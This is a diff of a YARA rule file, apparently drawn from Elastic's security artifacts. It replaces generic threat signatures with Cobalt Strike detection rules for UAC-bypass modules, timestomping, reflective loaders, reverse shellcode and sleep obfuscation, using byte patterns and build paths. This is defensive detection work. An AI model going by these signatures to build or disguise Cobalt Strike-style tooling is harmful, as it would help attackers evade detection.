-		logic_hash = "a60c3e54493f9dab71584ba301c41c43f30d554df8c0b05674995faaf407ee48"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_CobaltStrike.yar#L650-L685"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "52de8110727c29b0f5c75cd470ce6b80ba7821d0ba78ad074536323e2e80b460"
 		score = 75
-		quality = 75
+		quality = 43
 		tags = "FILE, MEMORY"
-		fingerprint = "f1dbb42fdd80020fa2b30beb50ded6b8b3fe4b023935cef9bd32b3cb0a095654"
-		severity = 50
+		fingerprint = "5418e695bcb1c37e72a7ff24a39219dc12b3fe06c29cedefd500c5e82c362b6d"
+		threat_name = "Windows.Trojan.CobaltStrike"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 83 EC 18 8B 45 08 8B 40 08 89 45 E8 8B 45 08 8B 40 0C 89 45 EC 8B 45 EC 83 C0 0C 89 45 F0 8B 45 F0 8B 00 89 45 F8 83 65 F4 00 E8 00 00 00 00 58 89 45 F4 8B 45 F8 3B 45 F0 74 31 8B 45 }
+		$a1 = "Z:\\devcenter\\aggressor\\external\\pxlib\\bin\\timestomp.x64.o" ascii fullword
+		$a2 = "Z:\\devcenter\\aggressor\\external\\pxlib\\bin\\timestomp.x86.o" ascii fullword
+		$b1 = "__imp_KERNEL32$GetFileTime" ascii fullword
+		$b2 = "__imp_KERNEL32$SetFileTime" ascii fullword
+		$b3 = "__imp_KERNEL32$CloseHandle" ascii fullword
+		$b4 = "__imp_KERNEL32$CreateFileA" ascii fullword
+		$b5 = "__imp_BeaconDataExtract" ascii fullword
+		$b6 = "__imp_BeaconPrintf" ascii fullword
+		$b7 = "__imp_BeaconDataParse" ascii fullword
+		$b8 = "__imp_BeaconDataExtract" ascii fullword
+		$c1 = "__imp__KERNEL32$GetFileTime" ascii fullword
+		$c2 = "__imp__KERNEL32$SetFileTime" ascii fullword
+		$c3 = "__imp__KERNEL32$CloseHandle" ascii fullword
+		$c4 = "__imp__KERNEL32$CreateFileA" ascii fullword
+		$c5 = "__imp__BeaconDataExtract" ascii fullword
+		$c6 = "__imp__BeaconPrintf" ascii fullword
+		$c7 = "__imp__BeaconDataParse" ascii fullword
+		$c8 = "__imp__BeaconDataExtract" ascii fullword
 
 	condition:
-		all of them
+		1 of ($a*) or 5 of ($b*) or 5 of ($c*)
 }
-rule ELASTIC_Windows_Generic_Threat_3613Fa12 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Cobaltstrike_92F05172 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Identifies UAC cmstp module from Cobalt Strike"
 		author = "Elastic Security"
-		id = "3613fa12-b559-4c3f-8049-11bacd5ffd0c"
-		date = "2024-02-20"
-		modified = "2024-06-12"
+		id = "92f05172-f15c-4077-a958-b8490378bf08"
+		date = "2021-03-23"
+		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L2760-L2778"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "1403ec99f262c964e3de133a10815e34d2f104b113b0197ab43c6b7b40b536c0"
-		logic_hash = "77b23aaf384de138214e64342e170f3dce667ee41c3063c999286da9af6fff42"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_CobaltStrike.yar#L687-L716"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "7f0ff4ee14a043d72810826ab9d2b90b0f66724550ba9d3cdd2abe749f4874d0"
 		score = 75
-		quality = 75
+		quality = 63
 		tags = "FILE, MEMORY"
-		fingerprint = "c66b5dad2e9b19be0bc67a652761d8f79ce85efde055cc412575c2d7c5583795"
-		severity = 50
+		fingerprint = "09b1f7087d45fb4247a33ae3112910bf5426ed750e1e8fe7ba24a9047b76cc82"
+		threat_name = "Windows.Trojan.CobaltStrike"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 55 8B EC 51 89 4D FC 8D 45 08 50 8B 4D FC E8 4D 03 00 00 8B 45 FC 8B E5 5D C2 04 00 CC CC CC CC 55 8B EC 51 89 4D FC 8B 45 FC 8B E5 5D C3 CC CC 55 8B EC 51 89 4D FC 8B 45 08 50 8B 4D FC E8 FD }
+		$a1 = "Z:\\devcenter\\aggressor\\external\\pxlib\\bin\\uaccmstp.x64.o" ascii fullword
+		$a2 = "Z:\\devcenter\\aggressor\\external\\pxlib\\bin\\uaccmstp.x86.o" ascii fullword
+		$b1 = "elevate_cmstp" ascii fullword
+		$b2 = "$pdata$elevate_cmstp" ascii fullword
+		$b3 = "$unwind$elevate_cmstp" ascii fullword
+		$c1 = "_elevate_cmstp" ascii fullword
+		$c2 = "__imp__OLE32$CoGetObject@16" ascii fullword
+		$c3 = "__imp__KERNEL32$GetModuleFileNameA@12" ascii fullword
+		$c4 = "__imp__KERNEL32$GetSystemWindowsDirectoryA@8" ascii fullword
+		$c5 = "OLDNAMES"
+		$c6 = "__imp__BeaconDataParse" ascii fullword
+		$c7 = "_willAutoElevate" ascii fullword
 
 	condition:
-		all of them
+		1 of ($a*) or 3 of ($b*) or 4 of ($c*)
 }
-rule ELASTIC_Windows_Generic_Threat_B125Fff2 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Cobaltstrike_417239B5 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Identifies UAC token module from Cobalt Strike"
 		author = "Elastic Security"
-		id = "b125fff2-7b36-431f-8ed3-ccb6d4ff9483"
-		date = "2024-02-20"
-		modified = "2024-06-12"
+		id = "417239b5-cf2d-4c85-a022-7a8459c26793"
+		date = "2021-03-23"
+		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L2780-L2798"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "9c641c0c8c2fd8831ee4e3b29a2a65f070b54775e64821c50b8ccd387e602097"
-		logic_hash = "054f3f36c688e1f5c3116e7a926df12df90f79dc1d42bee2616b5251f6ad2c24"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_CobaltStrike.yar#L718-L764"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "fda252747359e677459d82d65c4c9c8f2ff80bc8fd6a38712f858039f3cb8dd1"
 		score = 75
-		quality = 75
+		quality = 51
 		tags = "FILE, MEMORY"
-		fingerprint = "e2562c480b3ab0f0e6c5d396bc5d0584481348c1dd8edaac4484d9cb5d4a2b2e"
-		severity = 50
+		fingerprint = "292afee829e838f9623547f94d0561e8a9115ce7f4c40ae96c6493f3cc5ffa9b"
+		threat_name = "Windows.Trojan.CobaltStrike"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 6F 00 00 0A 6F 70 00 00 0A 00 28 24 00 00 06 0A 06 2C 24 00 28 1B 00 00 06 0B 07 2C 19 00 28 CE 04 00 06 16 FE 01 0C 08 2C 0B 7E 03 00 00 04 6F D3 04 00 06 00 00 00 28 1A 00 00 06 00 28 18 00 }
+		$a1 = "Z:\\devcenter\\aggressor\\external\\pxlib\\bin\\uactoken.x64.o" ascii fullword
+		$a2 = "Z:\\devcenter\\aggressor\\external\\pxlib\\bin\\uactoken.x86.o" ascii fullword
+		$a3 = "Z:\\devcenter\\aggressor\\external\\pxlib\\bin\\uactoken2.x64.o" ascii fullword
+		$a4 = "Z:\\devcenter\\aggressor\\external\\pxlib\\bin\\uactoken2.x86.o" ascii fullword
+		$b1 = "$pdata$is_admin_already" ascii fullword
+		$b2 = "$unwind$is_admin" ascii fullword
+		$b3 = "$pdata$is_admin" ascii fullword
+		$b4 = "$unwind$is_admin_already" ascii fullword
+		$b5 = "$pdata$RunAsAdmin" ascii fullword
+		$b6 = "$unwind$RunAsAdmin" ascii fullword
+		$b7 = "is_admin_already" ascii fullword
+		$b8 = "is_admin" ascii fullword
+		$b9 = "process_walk" ascii fullword
+		$b10 = "get_current_sess" ascii fullword
+		$b11 = "elevate_try" ascii fullword
+		$b12 = "RunAsAdmin" ascii fullword
+		$b13 = "is_ctfmon" ascii fullword
+		$c1 = "_is_admin_already" ascii fullword
+		$c2 = "_is_admin" ascii fullword
+		$c3 = "_process_walk" ascii fullword
+		$c4 = "_get_current_sess" ascii fullword
+		$c5 = "_elevate_try" ascii fullword
+		$c6 = "_RunAsAdmin" ascii fullword
+		$c7 = "_is_ctfmon" ascii fullword
+		$c8 = "_reg_query_dword" ascii fullword
+		$c9 = ".drectve" ascii fullword
+		$c10 = "_is_candidate" ascii fullword
+		$c11 = "_SpawnAsAdmin" ascii fullword
+		$c12 = "_SpawnAsAdminX64" ascii fullword
 
 	condition:
-		all of them
+		1 of ($a*) or 9 of ($b*) or 7 of ($c*)
 }
-rule ELASTIC_Windows_Generic_Threat_D7E5Ec2D : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Cobaltstrike_29374056 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Identifies Cobalt Strike MZ Reflective Loader."
 		author = "Elastic Security"
-		id = "d7e5ec2d-bcd1-41a3-80de-12808b9034c9"
-		date = "2024-02-20"
-		modified = "2024-06-12"
+		id = "29374056-03ce-484b-8b2d-fbf75be86e27"
+		date = "2021-03-23"
+		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L2800-L2818"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "fe711664a565566cbc710d5e678a9a30063a2db151ebec226e2abcd24c0a7e68"
-		logic_hash = "4edb8cc1da81e0b9b3a8facc9a9a7d1e27dff0d2db7851d06a209beec3ccb463"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_CobaltStrike.yar#L766-L785"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "09755b23a7057c70f3ea242ec48549de65ebc6f13bdc38cbe22d6d758c3718cf"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "e679e6917c5055384c0492e4a8a7538b41e5239b78e2167b04fffa3693f036bb"
-		severity = 50
+		fingerprint = "4cd7552a499687ac0279fb2e25722f979fc5a22afd1ea4abba14a2ef2002dd0f"
+		threat_name = "Windows.Trojan.CobaltStrike"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 83 C4 F8 89 45 FC 8B 45 FC E8 17 FE FF FF 83 FA 00 75 03 83 F8 FF 77 16 8B 45 FC E8 F1 FE FF FF 83 FA 00 75 03 83 F8 FF 77 04 33 C0 EB 02 B0 01 88 45 FB 8A 45 FB 59 59 5D C3 8D 40 00 }
+		$a1 = { 4D 5A 41 52 55 48 89 E5 48 81 EC 20 00 00 00 48 8D 1D ?? FF FF FF 48 81 C3 ?? ?? 00 00 FF D3 }
+		$a2 = { 4D 5A E8 00 00 00 00 5B 89 DF 52 45 55 89 E5 }
 
 	condition:
-		all of them
+		1 of ($a*)
 }
-rule ELASTIC_Windows_Generic_Threat_1636C2Bf : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Cobaltstrike_949F10E3 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Identifies the API address lookup function used by Cobalt Strike along with XOR implementation by Cobalt Strike."
 		author = "Elastic Security"
-		id = "1636c2bf-5506-4651-9c4c-cd6454386301"
-		date = "2024-03-04"
-		modified = "2024-06-12"
+		id = "949f10e3-68c9-4600-a620-ed3119e09257"
+		date = "2021-03-25"
+		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L2820-L2838"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "6e43916db43d8217214bbe4eb32ed3d82d0ac423cffc91d053a317a3dbe6dafb"
-		logic_hash = "c8b198cd5f9277ff3808ee2a313ab979d544b9e609d6623876d2e3c3c5668e38"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_CobaltStrike.yar#L787-L806"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "e4b726c83013f4b9c9d61683f78a4a91935225e9ed3de0ce164b96b5a6719579"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "b0cd9f484d4191d42091300be33c72a29c073c297b4e46811555fc6d1ab0f482"
-		severity = 50
+		fingerprint = "34e04901126a91c866ebf61a61ccbc3ce0477d9614479c42d8ce97a98f2ce2a7"
+		threat_name = "Windows.Trojan.CobaltStrike"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 28 00 00 0A 28 22 00 00 0A 80 19 00 00 04 28 3B 00 00 06 28 2D 00 00 0A 28 45 00 00 06 16 80 1D 00 00 04 7E 13 00 00 04 7E 15 00 00 04 16 7E 15 00 00 04 8E B7 16 14 FE 06 43 00 00 06 73 63 00 }
+		$a1 = { 89 E5 31 D2 64 8B 52 30 8B 52 0C 8B 52 14 8B 72 28 0F B7 4A 26 31 FF 31 C0 AC 3C 61 }
+		$a2 = { 8B 07 01 C3 85 C0 75 E5 58 C3 E8 [2] FF FF 31 39 32 2E 31 36 38 2E ?? 2E }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Generic_Threat_0A640296 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Cobaltstrike_8751Cdf9 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Identifies Cobalt Strike wininet reverse shellcode along with XOR implementation by Cobalt Strike."
 		author = "Elastic Security"
-		id = "0a640296-0813-4cd3-b55b-01b3689e73d9"
-		date = "2024-03-04"
-		modified = "2024-06-12"
+		id = "8751cdf9-4038-42ba-a6eb-f8ac579a4fbb"
+		date = "2021-03-25"
+		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L2840-L2858"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "3682eff62caaf2c90adef447d3ff48a3f9c34c571046f379d2eaf121976f1d07"
-		logic_hash = "743c47c7a58e7d65261818b4b444aaf8015b9b55d3e54526b1d63a8770a6c5aa"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_CobaltStrike.yar#L808-L827"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "64fae95fd89ad46a50a00c943cf98a997a0842a83be64b3728b25151867b75a8"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "3fa8712dbf0cdb0581fc312bcfa2e9ea50e04cccba6dc93f377c1b64e96784aa"
-		severity = 50
+		fingerprint = "0988386ef4ba54dd90b0cf6d6a600b38db434e00e569d69d081919cdd3ea4d3f"
+		threat_name = "Windows.Trojan.CobaltStrike"
+		severity = 99
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 28 00 00 0A 02 7B 0F 00 00 04 6F 29 00 00 0A 7D 10 00 00 04 02 7B 10 00 00 04 28 2A 00 00 0A 00 02 7B 08 00 00 04 7B 03 00 00 04 02 7B 10 00 00 04 6F 2B 00 00 0A 16 FE 01 0D 09 39 29 01 00 00 }
+		$a1 = { 68 6E 65 74 00 68 77 69 6E 69 54 68 4C 77 26 07 }
+		$a2 = { 8B 07 01 C3 85 C0 75 E5 58 C3 E8 [2] FF FF 31 39 32 2E 31 36 38 2E ?? 2E }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Generic_Threat_B1Ef4828 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Cobaltstrike_663Fc95D : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Identifies CobaltStrike via unidentified function code"
 		author = "Elastic Security"
-		id = "b1ef4828-10bd-41f8-84b5-041bf3147c0b"
-		date = "2024-03-04"
-		modified = "2024-06-12"
+		id = "663fc95d-2472-4d52-ad75-c5d86cfc885f"
+		date = "2021-04-01"
+		modified = "2021-12-17"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L2860-L2879"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "29b20ff8ebad05e4a33c925251d08824ca155f5d9fa72d6f9e359e6ec6c61279"
-		logic_hash = "d5d63f38308c6f8e5ca54567c7c8b93fcde69601fbcc28d56d5231edd28163cf"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_CobaltStrike.yar#L829-L847"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "842a0a372cfb2316293f4a08e1690194fa98368a9f6ffe9c63222b2c4ab6532c"
 		score = 75
-		quality = 71
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "e867d9a0a489d95898f85578c71d7411eac3142539fcc88df51d1cf048d351a9"
-		severity = 50
+		fingerprint = "d0f781d7e485a7ecfbbfd068601e72430d57ef80fc92a993033deb1ddcee5c48"
+		threat_name = "Windows.Trojan.CobaltStrike"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 70 36 72 20 74 24 76 28 78 2C 7A 30 7C 34 7E 38 7E 3C 7E 40 7E 54 7E 74 7E 7C 5D }
-		$a2 = { 7E 30 7E 34 7E 43 7E 4F 7E 5A 7E 6E 7E 79 7E }
+		$a = { 48 89 5C 24 08 57 48 83 EC 20 48 8B 59 10 48 8B F9 48 8B 49 08 FF 17 33 D2 41 B8 00 80 00 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Generic_Threat_48Cbdc20 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Cobaltstrike_B54B94Ac : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Rule for beacon sleep obfuscation routine"
 		author = "Elastic Security"
-		id = "48cbdc20-386a-491e-8407-f7c4c348f2e9"
-		date = "2024-03-04"
-		modified = "2024-06-12"
+		id = "b54b94ac-6ef8-4ee9-a8a6-f7324c1974ca"
+		date = "2021-10-21"
+		modified = "2022-01-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L2881-L2900"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "7a7704c64e64d3a1f76fc718d5b5a5e3d46beeeb62f0493f22e50865ddf66594"
-		logic_hash = "687d0f3dc85a7e4b23019deec59ee77c211101d40ed6622a952e69ebc4151483"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_CobaltStrike.yar#L849-L872"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "36d32b1ed967f07a4bd19f5e671294d5359009c04835601f2cc40fb8b54f6a2a"
+		logic_hash = "6f63e4c31e55da2008f95e9d05391e40d44e2757c511e666032563ab798e274c"
 		score = 75
-		quality = 71
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "98db38ebd05e99171489828491e6acfc7c4322283b325ed99429f366b0ee01a6"
-		severity = 50
+		fingerprint = "2344dd7820656f18cfb774a89d89f5ab65d46cc7761c1f16b7e768df66aa41c8"
+		threat_name = "Windows.Trojan.CobaltStrike"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 5E 69 69 69 4E 42 42 42 3E 2E 2E 2E 25 }
-		$a2 = { 24 2E 2E 2E 2F 41 41 41 3A 51 51 51 47 5D 5D 5D 54 69 69 69 62 }
+		$a_x64 = { 4C 8B 53 08 45 8B 0A 45 8B 5A 04 4D 8D 52 08 45 85 C9 75 05 45 85 DB 74 33 45 3B CB 73 E6 49 8B F9 4C 8B 03 }
+		$a_x64_smbtcp = { 4C 8B 07 B8 4F EC C4 4E 41 F7 E1 41 8B C1 C1 EA 02 41 FF C1 6B D2 0D 2B C2 8A 4C 38 10 42 30 0C 06 48 }
+		$a_x86 = { 8B 46 04 8B 08 8B 50 04 83 C0 08 89 55 08 89 45 0C 85 C9 75 04 85 D2 74 23 3B CA 73 E6 8B 06 8D 3C 08 33 D2 }
+		$a_x86_2 = { 8B 06 8D 3C 08 33 D2 6A 0D 8B C1 5B F7 F3 8A 44 32 08 30 07 41 3B 4D 08 72 E6 8B 45 FC EB C7 }
+		$a_x86_smbtcp = { 8B 07 8D 34 08 33 D2 6A 0D 8B C1 5B F7 F3 8A 44 3A 08 30 06 41 3B 4D 08 72 E6 8B 45 FC EB }
 
 	condition:
-		all of them
+		any of them
 }
-rule ELASTIC_Windows_Generic_Threat_420E1Cdc : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Cobaltstrike_F0B627Fc : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Rule for beacon reflective loader"
 		author = "Elastic Security"
-		id = "420e1cdc-2d47-437a-986d-ff22d2fac978"
-		date = "2024-03-04"
-		modified = "2024-06-12"
+		id = "f0b627fc-97cd-42cb-9eae-1efb0672762d"
+		date = "2021-10-21"
+		modified = "2022-01-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L2902-L2920"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "b20254e03f7f1e79fec51d614ee0cfe0cb87432f3a53cf98cf8c047c13e2d774"
-		logic_hash = "6bd8a7bd4392e04d64f2e0b93d80978f59f9af634a0c971ca61cb9cb593743e0"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_CobaltStrike.yar#L874-L897"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "b362951abd9d96d5ec15d281682fa1c8fe8f8e4e2f264ca86f6b061af607f79b"
+		logic_hash = "1087294af3a9ef59c00098f5fd7adfe0b335525e135d95e45ac30e44c6739a72"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "33f35c5c73656fc5987c39fabefa1225fef1734f4217518a1b6e7a78669c90c5"
-		severity = 50
+		fingerprint = "fbc94bedd50b5b943553dd438a183a1e763c098a385ac3a4fc9ff24ee30f91e1"
+		threat_name = "Windows.Trojan.CobaltStrike"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 55 8B EC 51 56 8B 75 08 85 F6 74 5A ?? ?? ?? ?? ?? 83 F8 03 75 16 56 E8 ED 01 00 00 59 85 C0 56 74 36 50 E8 0C 02 00 00 59 59 EB 3A 83 F8 02 75 26 8D 45 08 50 8D 45 FC 50 56 E8 25 0F 00 00 }
+		$beacon_loader_x64 = { 25 FF FF FF 00 3D 41 41 41 00 75 [5-10] 25 FF FF FF 00 3D 42 42 42 00 75 }
+		$beacon_loader_x86 = { 25 FF FF FF 00 3D 41 41 41 00 75 [4-8] 81 E1 FF FF FF 00 81 F9 42 42 42 00 75 }
+		$beacon_loader_x86_2 = { 81 E1 FF FF FF 00 81 F9 41 41 41 00 75 [4-8] 81 E2 FF FF FF 00 81 FA 42 42 42 00 75 }
+		$generic_loader_x64 = { 89 44 24 20 48 8B 44 24 40 0F BE 00 8B 4C 24 20 03 C8 8B C1 89 44 24 20 48 8B 44 24 40 48 FF C0 }
+		$generic_loader_x86 = { 83 C4 04 89 45 FC 8B 4D 08 0F BE 11 03 55 FC 89 55 FC 8B 45 08 83 C0 01 89 45 08 8B 4D 08 0F BE }
 
 	condition:
-		all of them
+		any of them
 }
-rule ELASTIC_Windows_Generic_Threat_4C37E16E : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Cobaltstrike_Dcdcdd8C : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Rule for beacon sleep PDB"
 		author = "Elastic Security"
-		id = "4c37e16e-b7ca-449a-a09f-836706b2f66a"
-		date = "2024-03-04"
-		modified = "2024-06-12"
+		id = "dcdcdd8c-7395-4453-a74a-60ab8e251a5a"
+		date = "2021-10-21"
+		modified = "2022-01-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L2922-L2941"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "d83a8ed5e192b3fe9d74f3a9966fa094d23676c7e6586c9240d97c252b8e4e74"
-		logic_hash = "dabac8aa6a3f4d4bd726161fc6573ca9de4088e7d818c3cf33cafc91f680e7aa"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_CobaltStrike.yar#L899-L923"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "36d32b1ed967f07a4bd19f5e671294d5359009c04835601f2cc40fb8b54f6a2a"
+		logic_hash = "f3ae07282b763d3720e45a84878cc457f65041f381951cdc9affd5e3ce67e6cc"
 		score = 75
-		quality = 71
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "9fbd2883fb0140de50df755f7099a0dc3cf377ee350710108fef96c912f43460"
-		severity = 50
+		fingerprint = "8aed1ae470d06a7aac37896df22b2f915c36845099839a85009212d9051f71e9"
+		threat_name = "Windows.Trojan.CobaltStrike"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 2E 3F 41 56 43 44 72 6F 70 41 70 69 40 40 }
-		$a2 = { 2D 2D 77 77 6A 61 75 67 68 61 6C 76 6E 63 6A 77 69 61 6A 73 2D 2D }
+		$a1 = "Z:\\devcenter\\aggressor\\external\\sleepmask\\bin\\sleepmask.x64.o" ascii fullword
+		$a2 = "Z:\\devcenter\\aggressor\\external\\sleepmask\\bin\\sleepmask.x86.o" ascii fullword
+		$a3 = "Z:\\devcenter\\aggressor\\external\\sleepmask\\bin\\sleepmask_smb.x64.o" ascii fullword
+		$a4 = "Z:\\devcenter\\aggressor\\external\\sleepmask\\bin\\sleepmask_smb.x86.o" ascii fullword
